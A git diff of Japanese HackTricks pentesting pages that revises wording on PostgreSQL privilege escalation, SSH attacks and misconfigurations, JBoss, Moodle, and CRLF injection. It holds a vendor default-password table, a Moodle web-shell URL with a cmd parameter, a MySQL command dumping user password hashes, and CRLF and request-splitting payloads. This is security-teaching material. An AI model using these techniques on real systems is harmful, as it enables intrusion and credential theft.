4. WAL操作を強制的に実行し、アーカイブコマンドを呼び出す`SELECT pg_switch_wal()`または一部のPostgresバージョンでは`SELECT pg_switch_xlog()`
@ -536,7 +538,7 @@ GRANT pg_write_server_files TO username;
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
```
#### SUPERUSERへの特権昇格
#### SUPERUSERへの昇格
**ローカルユーザーがパスワードを入力せずにPostgreSQLにログインできる**ことは非常に一般的です。したがって、**コードの実行権限を取得した後は、これらの権限を悪用して`SUPERUSER`ロールを取得する**ことができます。
```sql
@ -569,9 +571,9 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION);
#### 悪用
1. 新しいテーブルを作成します。
2. ダミーコンテンツをテーブルに挿入し、インデックス関数が処理するものを用意します。
2. テーブルにいくつかのダミーコンテンツを挿入し、インデックス関数が処理するものを用意します。
3. テーブルに悪意のあるインデックス関数(コード実行ペイロードを含む)を作成します。
4. テーブルの所有者を cloudsqladmin に変更します。これはGCPのスーパーユーザーロールであり、Cloud SQLがデータベースを維持および管理するためにのみ使用されます。
4. テーブルの所有者を cloudsqladmin に変更します。これはGCPのスーパーユーザーロールであり、Cloud SQLがデータベースを維持および管理するために使用されます。
5. テーブルをANALYZEし、PostgreSQLエンジンがユーザーコンテキストをテーブルの所有者cloudsqladminに切り替え、cloudsqladminの権限で悪意のあるインデックス関数を呼び出すことで、以前に実行する権限がなかったシェルコマンドを実行します。
PostgreSQLでは、このフローは次のようになります
@ -601,7 +603,7 @@ uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
```
### ローカルログイン
一部の設定ミスのあるPostgreSQLインスタンスでは、任意のローカルユーザーのログインが許可される場合があります。**`dblink`関数**を使用して、127.0.0.1からローカルログインすることができます。
一部の設定ミスのあるPostgreSQLインスタンスでは、任意のローカルユーザーのログインが許可される場合があります。**`dblink`関数**を使用して、127.0.0.1からローカルログインすることが可能です。
```sql
\du * # Get Users
\l # Get databases
@ -724,8 +726,8 @@ string pgadmin4.db
* **サイバーセキュリティ企業で働いていますか?** HackTricksであなたの会社を宣伝したいですかまたは、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください**
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください**
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください**
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください**
</details>

View file

@ -7,20 +7,20 @@
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
</details>
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
もし、**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です!**(流暢なポーランド語の読み書きが必要です)。
もし、**ハッキングのキャリア**に興味があり、アンハッカブルをハックしたい場合は、**採用中です!**(流暢なポーランド語の読み書きが必要です)。
{% embed url="https://www.stmcyber.com/careers" %}
## 基本情報
**SSHまたはSecure ShellまたはSecure Socket Shell**は、ユーザーが**安全でないネットワークを介してコンピュータに安全にアクセスする**ためのネットワークプロトコルです。
**SSHまたはSecure ShellまたはSecure Socket Shell**は、ユーザーが**セキュリティのないネットワークを介してコンピュータに安全にアクセスする**ためのネットワークプロトコルです。
**デフォルトポート:** 22
```
@ -42,7 +42,7 @@
## 列挙
### バナーグラビング
### バナーの取得
```bash
nc -vn <IP> 22
```
@ -62,7 +62,7 @@ ssh-auditは、sshサーバーおよびクライアントの設定監査のた
* アルゴリズムの推奨事項を出力(認識されたソフトウェアバージョンに基づいて追加または削除)
* セキュリティ情報を出力関連する問題、割り当てられたCVEリストなど
* アルゴリズム情報に基づいたSSHバージョンの互換性を分析
* OpenSSH、Dropbear SSH、libsshからの履歴情報
* OpenSSH、Dropbear SSH、libsshからの過去の情報
* LinuxとWindowsで実行可能
* 依存関係なし
```bash
@ -94,7 +94,7 @@ ssh-keyscan -t rsa <IP> -p <PORT>
```
### 弱い暗号アルゴリズム
これはデフォルトで **nmap** によって発見されます。しかし、**sslscan** や **sslyze** も使用することができます。
これはデフォルトで **nmap** によって発見されます。ただし、**sslscan** または **sslyze** を使用することもできます。
### Nmapスクリプト
```bash
@ -149,25 +149,25 @@ msf> use scanner/ssh/ssh_identify_pubkeys
## デフォルトの資格情報
| **ベンダー** | **ユーザー名** | **パスワード** |
| ---------- | ----------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change\_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc\_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC\_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
| ------------ | ---------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| APC | apc、device | apc |
| Brocade | admin | admin123、password、brocade、fibranne |
| Cisco | admin、cisco、enable、hsa、pix、pnadmin、ripeop、root、shelladmin | admin、Admin123、default、password、secur4u、cisco、Cisco、\_Cisco、cisco123、C1sco!23、Cisco123、Cisco1234、TANDBERG、change\_it、12345、ipics、pnadmin、diamond、hsadb、c、cc、attack、blender、changeme |
| Citrix | root、nsroot、nsmaint、vdiadmin、kvm、cli、admin | C1trix321、nsroot、nsmaint、kaviza、kaviza123、freebsd、public、rootadmin、wanscaler |
| D-Link | admin、user | private、admin、user |
| Dell | root、user1、admin、vkernel、cli | calvin、123456、password、vkernel、Stor@ge!、admin |
| EMC | admin、root、sysadmin | EMCPMAdm7n、Password#1、Password123#、sysadmin、changeme、emc |
| HP/3Com | admin、root、vcx、app、spvar、manage、hpsupport、opc\_op | admin、password、hpinvent、iMC123、pvadmin、passw0rd、besgroup、vcx、nice、access、config、3V@rpar、3V#rpar、procurve、badg3r5、OpC\_op、!manage、!admin |
| Huawei | admin、root | 123456、admin、root、Admin123、Admin@storage、Huawei12#$、HwDec@01、hwosta2.0、HuaWei123、fsp200@HW、huawei123 |
| IBM | USERID、admin、manager、mqm、db2inst1、db2fenc1、dausr1、db2admin、iadmin、system、device、ufmcli、customer | PASSW0RD、passw0rd、admin、password、Passw8rd、iadmin、apc、123456、cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root、oracle、oravis、applvis、ilom-admin、ilom-operator、nm2user | changeme、ilom-admin、ilom-operator、welcome1、oracle |
| VMware | vi-admin、root、hqadmin、vmware、admin | vmware、vmw@re、hqadmin、default |
## SSH-MitM
もし、被害者がユーザー名とパスワードを使用してSSHサーバーに接続するためにローカルネットワークにいる場合、その資格情報を盗むために**MitM攻撃を実行する**ことができます。
もし、被害者がユーザー名とパスワードを使用してSSHサーバーに接続するためにローカルネットワークにいる場合、**MitM攻撃を行って認証情報を盗む**ことができます。
**攻撃経路:**
@ -177,13 +177,13 @@ msf> use scanner/ssh/ssh_identify_pubkeys
\*\*\*\*[**SSH MITM**](https://github.com/jtesta/ssh-mitm) \*\*\*\*は、上記で説明したことを正確に行います。
実際のMitMをキャプチャするために、ARPスプーフィング、DNSスプーフィングなどの技術を使用することができます。詳細については、[**ネットワークスプーフィング攻撃**](../generic-methodologies-and-resources/pentesting-network/#spoofing)で説明されています。
実際のMitMを実行するために、ARPスプーフィング、DNSスプーフィングなどの技術を使用することができます。詳細については、[**ネットワークスプーフィング攻撃**](../generic-methodologies-and-resources/pentesting-network/#spoofing)で説明されています。
## 設定の誤構成
### rootログイン
デフォルトでは、ほとんどのSSHサーバーの実装ではrootログインが許可されていますが、これを無効にすることが推奨されています。なぜなら、このアカウントの資格情報が漏洩した場合、攻撃者は直接管理者権を取得することができ、また、このアカウントへのブルートフォース攻撃を行うことも可能になるためです。
デフォルトでは、ほとんどのSSHサーバーの実装ではrootログインが許可されていますが、これを無効にすることが推奨されています。なぜなら、このアカウントの資格情報が漏洩した場合、攻撃者は直接管理者権を取得することができ、また、このアカウントへのブルートフォース攻撃を行うことも可能になるためです。
**openSSHでrootログインを無効にする方法**
@ -194,7 +194,7 @@ msf> use scanner/ssh/ssh_identify_pubkeys
### SFTPコマンドの実行
もう1つの一般的なSSHの誤構成は、SFTPの設定でよく見られます。ほとんどの場合、SFTPサーバーを作成する際に、管理者はユーザーがファイルを共有するためにSFTPアクセスを持つことを望んでいますが、マシン全体でのリモートシェルアクセスや悪用を防ぐために、ユーザーにプレースホルダーシェル`/usr/bin/nologin`や`/usr/bin/false`)を割り当て、彼らをジェイルにチューニングするだけで十分だと考えています。しかし、彼らは間違っています。**ユーザーは、デフォルトのコマンドやシェルが実行される前に、認証後すぐにコマンドを実行するように要求することができます**。したがって、シェルアクセスを拒否するプレースホルダーシェルをバイパスするには、単に事前にコマンド(例:`/bin/bash`)を実行するように要求するだけです。
もう1つの一般的なSSHの誤構成は、SFTPの設定でよく見られます。ほとんどの場合、SFTPサーバーを作成する際に、管理者はユーザーがファイルを共有するためのSFTPアクセスを持つことを望んでいますが、マシン上でリモートシェルを取得することは望んでいません。そのため、ユーザーにプレースホルダーシェル`/usr/bin/nologin`や`/usr/bin/false`など)を割り当て、彼をジェイルにチュートリングするだけで、シェルアクセスや全体のファイルシステムへの乱用を防ぐことができると考えています。しかし、彼らは間違っています。**ユーザーは、デフォルトのコマンドやシェルが実行される前に、認証後すぐにコマンドを実行するように要求することができます**。したがって、シェルアクセスを拒否するプレースホルダーシェルをバイパスするには、単に事前にコマンド(例:`/bin/bash`)を実行するように要求するだけです。
```
$ ssh -v noraj@192.168.1.94 id
...
@ -220,7 +220,7 @@ $ ssh noraj@192.168.1.94 /bin/bash
以下は、ユーザー`noraj`のセキュアなSFTP設定の例です`/etc/ssh/sshd_config` - openSSH
```plaintext
# SFTP Configuration for noraj
# SFTP configuration for noraj
Subsystem sftp internal-sftp
Match User noraj
@ -253,13 +253,13 @@ PermitTTY no
### SFTPトンネリング
SFTPサーバーへのアクセスがある場合、一般的なポートフォワーディングを使用してトラフィックをトンネリングすることもできます。
SFTPサーバーへのアクセスがある場合、一般的なポートフォワーディングを使用してトラフィックをトンネリングすることもできます。
```
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
```
### SFTPシンボリックリンク
**sftp**には「**symlink**」というコマンドがあります。したがって、あるフォルダに**書き込み権限**がある場合、**他のフォルダ/ファイル**の**シンボリックリンク**を作成することができます。おそらく、chroot内に**閉じ込められている**ため、これは特に役に立たないかもしれませんが、作成した**シンボリックリンク**に**no-chrootサービス**(たとえば、ウェブからシンボリックリンクにアクセスできる場合)からアクセスできる場合、**ウェブを介してシンボリックリンクされたファイルを開く**ことができます。
**sftp**には「**symlink**」というコマンドがあります。そのため、あるフォルダに**書き込み権限**がある場合、**他のフォルダ/ファイル**の**シンボリックリンク**を作成することができます。おそらく、chroot内に**閉じ込められている**ため、これは特に役に立たないかもしれませんが、作成した**シンボリックリンク**に**no-chrootサービス**(たとえば、ウェブからシンボリックリンクにアクセスできる場合)から**アクセス**できる場合、**ウェブを介してシンボリックリンクされたファイルを開く**ことができます。
たとえば、新しいファイル「**_froot_**」から「**_/**_」への**シンボリックリンク**を作成するには、以下のようにします:
```
@ -282,9 +282,7 @@ $ ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
```
### 設定ファイルの確認
SSHサーバーの設定ファイルを確認することは、予期されたメソッドのみが認可されているかどうかを確認するために必要です。クライアントで詳細モードを使用すると、設定の効果を確認するのに役立ちます。
設定ファイルのレビューは、予期されるメソッドのみが承認されているかを確認するために必要です。クライアントで詳細モードを使用すると、設定の効果を確認するのに役立ちます。
### 設定ファイル
```
@ -305,9 +303,9 @@ id_rsa
* [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html)には、SSHを強化するための興味深いガイドがあります。
* [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
もしあなたが**ハッキングのキャリア**に興味があり、アンハッカブルをハックしたいのであれば - **私たちは採用しています!**(流暢なポーランド語の読み書きが必要です)。
もしあなたが**ハッキングのキャリア**に興味があり、アンハッカブルをハックしたいのであれば - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_).
{% embed url="https://www.stmcyber.com/careers" %}

View file

@ -12,9 +12,9 @@
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
もし**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。
もし**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用しています!**(流暢なポーランド語の読み書きが必要です)。
{% embed url="https://www.stmcyber.com/careers" %}
@ -38,7 +38,7 @@ JBoss内で**管理サーブレット**を公開することができます。
```
inurl:status EJInvokerServlet
```
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したいのであれば - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_).

View file

@ -12,9 +12,9 @@
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
もし**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です**流暢なポーランド語の読み書きが必要です)。
もし **ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合 - **採用中です!**_流暢なポーランド語の読み書きが必要です_)。
{% embed url="https://www.stmcyber.com/careers" %}
@ -75,11 +75,11 @@ Scan completed.
CMSMapは、ウェブアプリケーションのペネトレーションテストに使用されるツールです。このツールは、MoodleなどのCMSコンテンツ管理システムの脆弱性を特定するために使用されます。
CMSMapは、ウェブサイトのURLを入力することで、そのサイトがどのCMSを使用しているかを特定します。また、CMSのバージョンやインストールされているプラグインなどの詳細情報も取得することができます。
CMSMapは、ウェブサイトのURLを入力することで、そのサイトがどのCMSを使用しているかを特定します。また、CMSのバージョンやインストールされているプラグインなどの詳細な情報も提供します。
このツールは、ウェブサイトのセキュリティ評価を行う際に非常に役立ちます。CMSの脆弱性を特定することで、攻撃者がウェブサイトに侵入する可能性を減らすことができます。
CMSMapは、コマンドラインベースのツールであり、Pythonで開発されています。このツールは、ウェブアプリケーションのペネトレーションテストにおいて、CMSの脆弱性を特定するための重要なツールのつです。
CMSMapは、コマンドラインベースのツールであり、Pythonで開発されています。このツールは、ウェブアプリケーションのペネトレーションテストにおいて、CMSの脆弱性を特定するための重要なツールの1つです。
```bash
pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>
@ -90,11 +90,11 @@ cmsmap http://moodle.example.com/<moodle_path>
## RCE
「サイト管理」タブの中で、**マネージャーの役割を持っている必要があり、プラグインをインストールすることができます**。
「サイト管理」タブで、**マネージャーの役割を持っている必要があり、プラグインをインストールすることができます**。
![](<../../.gitbook/assets/image (447).png>)
マネージャーであっても、このオプションを**有効にする必要がある場合があります**。Moodle特権昇格のPoCでは、次のように確認できます[https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)。
マネージャーであっても、このオプションを**有効にする必要がある場合があります**。Moodle特権エスカレーションPoCでは、次のように確認できます[https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)。
次に、次のプラグインを**インストール**することができます。このプラグインには、クラシックなpentest-monkey php r**evシェル**が含まれていますアップロードする前に解凍し、revshellのIPとポートを変更し、再度圧縮する必要があります
@ -116,9 +116,10 @@ http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
2. ログインフォームに適当なユーザー名とパスワードを入力します。
3. フォームを送信するときに、ネットワークタブを開きます。
4. ネットワークタブで、POSTリクエストを見つけます。
5. POSTリクエストのヘッダーとボディを確認し、データベースの資格情報を見つけます。
5. POSTリクエストのヘッダーとボディを確認します。
6. ヘッダーとボディにデータベースの資格情報が含まれている場合、それを抽出します。
の方法を使用すると、ログインフォームのPOSTリクエストからデータベースの資格情報を取得することができます。
れにより、POSTリクエストを使用してデータベースの資格情報を見つけることができます。
```bash
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
```
@ -126,21 +127,21 @@ find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
To dump credentials from a database, you can use various techniques depending on the type of database and the access you have. Here are some common methods:
1. **SQL Injection**: If the application is vulnerable to SQL injection, you can exploit it to extract credentials from the database. By injecting malicious SQL queries, you can retrieve usernames and passwords stored in the database.
1. **SQL Injection**: If the application is vulnerable to SQL injection, you can exploit it to extract credentials from the database. By injecting malicious SQL queries, you can retrieve usernames, passwords, and other sensitive information.
2. **Brute-forcing**: If you have access to the database server, you can attempt to brute-force the login credentials. This involves trying different combinations of usernames and passwords until you find the correct ones.
3. **Exploiting Misconfigurations**: Sometimes, databases are misconfigured and allow unauthorized access. By exploiting these misconfigurations, you can gain access to the database and extract credentials.
3. **Exploiting Misconfigurations**: Sometimes, databases are misconfigured and allow unauthorized access. By identifying and exploiting these misconfigurations, you can gain access to the database and extract credentials.
4. **Dumping Hashes**: If you have read access to the database, you can dump the password hashes stored in it. These hashes can then be cracked using various techniques, such as rainbow tables or brute-forcing, to obtain the actual passwords.
4. **Dumping Hashes**: If you have read access to the database, you can dump the password hashes stored in the database. These hashes can then be cracked using various techniques, such as rainbow tables or brute-forcing, to obtain the actual passwords.
Remember, it is important to have proper authorization and legal permission before attempting to dump credentials from a database. Unauthorized access to databases is illegal and unethical.
Remember, it is important to have proper authorization and legal permission before attempting to dump credentials from a database. Unauthorized access is illegal and unethical. Always follow ethical hacking guidelines and obtain proper consent before performing any penetration testing activities.
```bash
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
```
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したいのであれば - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_).
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したいのであれば - **私たちは採用しています!**_流暢なポーランド語の読み書きが必要です_
{% embed url="https://www.stmcyber.com/careers" %}

View file

@ -8,30 +8,30 @@
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
</details>
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
もし**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。
もし**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。
{% embed url="https://www.stmcyber.com/careers" %}
## CRLFとは
ブラウザがウェブサーバーにリクエストを送信すると、ウェブサーバーはHTTPレスポンスヘッダーと実際のウェブサイトのコンテンツつまり、レスポンスボディを含むレスポンスを返します。HTTPヘッダーとHTMLレスポンスウェブサイトのコンテンツは、特定の特殊文字の組み合わせで区切られています。それらはキャリッジリターンとラインフィードとしても知られています。短く言えば、CRLFです。
ブラウザがウェブサーバーにリクエストを送信すると、ウェブサーバーはHTTPレスポンスヘッダーと実際のウェブサイトのコンテンツつまり、レスポンスボディを含むレスポンスを返します。HTTPヘッダーとHTMLレスポンスウェブサイトのコンテンツは、特定の特殊文字の組み合わせで区切られています。それらはキャリッジリターンと改行としても知られています。短く言えば、CRLFです。
ウェブサーバーはCRLFを使用して、新しいHTTPヘッダーが始まり、別のヘッダーが終了することを理解します。CRLFは、ファイルやテキストブロック内で新しい行が始まることをウェブアプリケーションやユーザーに伝えることもできます。CRLF文字は標準のHTTP/1.1メッセージであり、Apache、Microsoft IISなどを含むあらゆる種類のウェブサーバーで使用されます。\
ウェブサーバーはCRLFを使用して、新しいHTTPヘッダーが始まり、別のヘッダーが終ることを理解します。CRLFは、ファイルやテキストブロック内で新しい行が始まることをウェブアプリケーションやユーザーに伝えることもできます。CRLF文字は標準のHTTP/1.1メッセージであり、Apache、Microsoft IISなどを含むあらゆる種類のウェブサーバーで使用されます。\
[https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)より引用
### CRLFインジェクション脆弱性とは
CRLFインジェクション脆弱性攻撃では、攻撃者はユーザーの入力にキャリッジリターンとラインフィードの文字を挿入し、サーバー、ウェブアプリケーション、またはユーザーを騙してオブジェクトが終了し、別のオブジェクトが開始されたと思わせます。したがって、CRLFシーケンスは悪意のある文字ではありませんが、HTTPレスポンスの分割などの悪意のある目的に使用することができます。
CRLFインジェクション脆弱性攻撃では、攻撃者はユーザーの入力にキャリッジリターンと改行の文字を挿入し、サーバー、ウェブアプリケーション、またはユーザーを騙してオブジェクトが終了し、別のオブジェクトが開始されたと思わせます。したがって、CRLFシーケンスは悪意のある文字ではありませんが、HTTPレスポンスの分割などの悪意のある目的に使用することができます。
## ウェブアプリケーションにおけるCRLFインジェクション
ウェブアプリケーションにおけるCRLFインジェクションは、アプリケーションが単一のアイテムをどのように処理するかによって、深刻な影響を与える場合があります。影響は情報の漏洩からコードの実行まで、直接的なウェブアプリケーションのセキュリティ脆弱性に及ぶことがあります。実際、CRLFインジェクション攻撃はOWASP Top 10リストには記載されていませんが、ウェブアプリケーションに非常に深刻な影響を与える可能性があります。以下の例では、管理パネルのログファイルを操作することも可能です。
ウェブアプリケーションにおけるCRLFインジェクションは、アプリケーションが単一のアイテムをどのように処理するかによって、深刻な影響を与えることがあります。影響は情報の漏洩からコードの実行まで、直接的なウェブアプリケーションのセキュリティ脆弱性に及ぶことがあります。実際、CRLFインジェクション攻撃はOWASP Top 10リストには記載されていませんが、ウェブアプリケーションに非常に深刻な影響を与える可能性があります。以下の例では、管理パネルのログファイルを操作することも可能です。
#### ログファイルにおけるCRLFインジェクションの例
@ -52,9 +52,9 @@ IP - 時間 - 訪問したパス
```
したがって、CRLFインジェクションの脆弱性を悪用することで、攻撃者はログファイルに偽のエントリを作成し、自身の悪意ある行動を隠蔽することができます。攻撃者は文字通りページハイジャックを行い、レスポンスを変更しています。例えば、攻撃者が管理者パスワードを持ち、制限されたアクションパラメータを実行した場合を想像してみてください。このパラメータは管理者のみが使用できます。
問題は、管理者が制限されたアクションパラメータを使用した不明なIPを検出した場合、何かが間違っていることに気付くことです。しかし、今ではコマンドがlocalhostから発行されたように見えるためしたがっておそらくサーバーにアクセス権限を持つ管理者のような人物によるものと思われる、怪しまれません。
問題は、管理者が制限されたアクションパラメータを使用した不明なIPを検出した場合、何かが間違っていることに気付くことです。しかし、今ではコマンドがlocalhostから発行されたように見えるためしたがっておそらくサーバーにアクセス権限を持つ管理者のような人物によるものと思われる)、怪しまれません。
%0d%0aで始まるクエリの全体部分は、サーバーによって1つのパラメータとして処理されます。その後、もう1つの&があり、これはサーバーによって別のパラメータとして解析されます。実質的には、次のクエリと同じになります:
%0d%0aで始まるクエリの全体部分は、サーバーによって1つのパラメータとして処理されます。その後、もう1つの&があり、これはサーバーによって別のパラメータとして解析されます。実質的には、次のクエリと同じす:
```
/index.php?page=home&restrictedaction=edit
```
@ -66,7 +66,7 @@ HTTP レスポンスのヘッダとボディは CRLF 文字で区切られてい
#### XSS につながる HTTP レスポンス分割の例
例えば、カスタムヘッダを設定するアプリケーションを想像してください:
例えば、カスタムヘッダを設定するアプリケーションを想像してください
```
X-Your-Name: Bob
```
@ -145,7 +145,7 @@ $client->__soapCall("test", []);
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
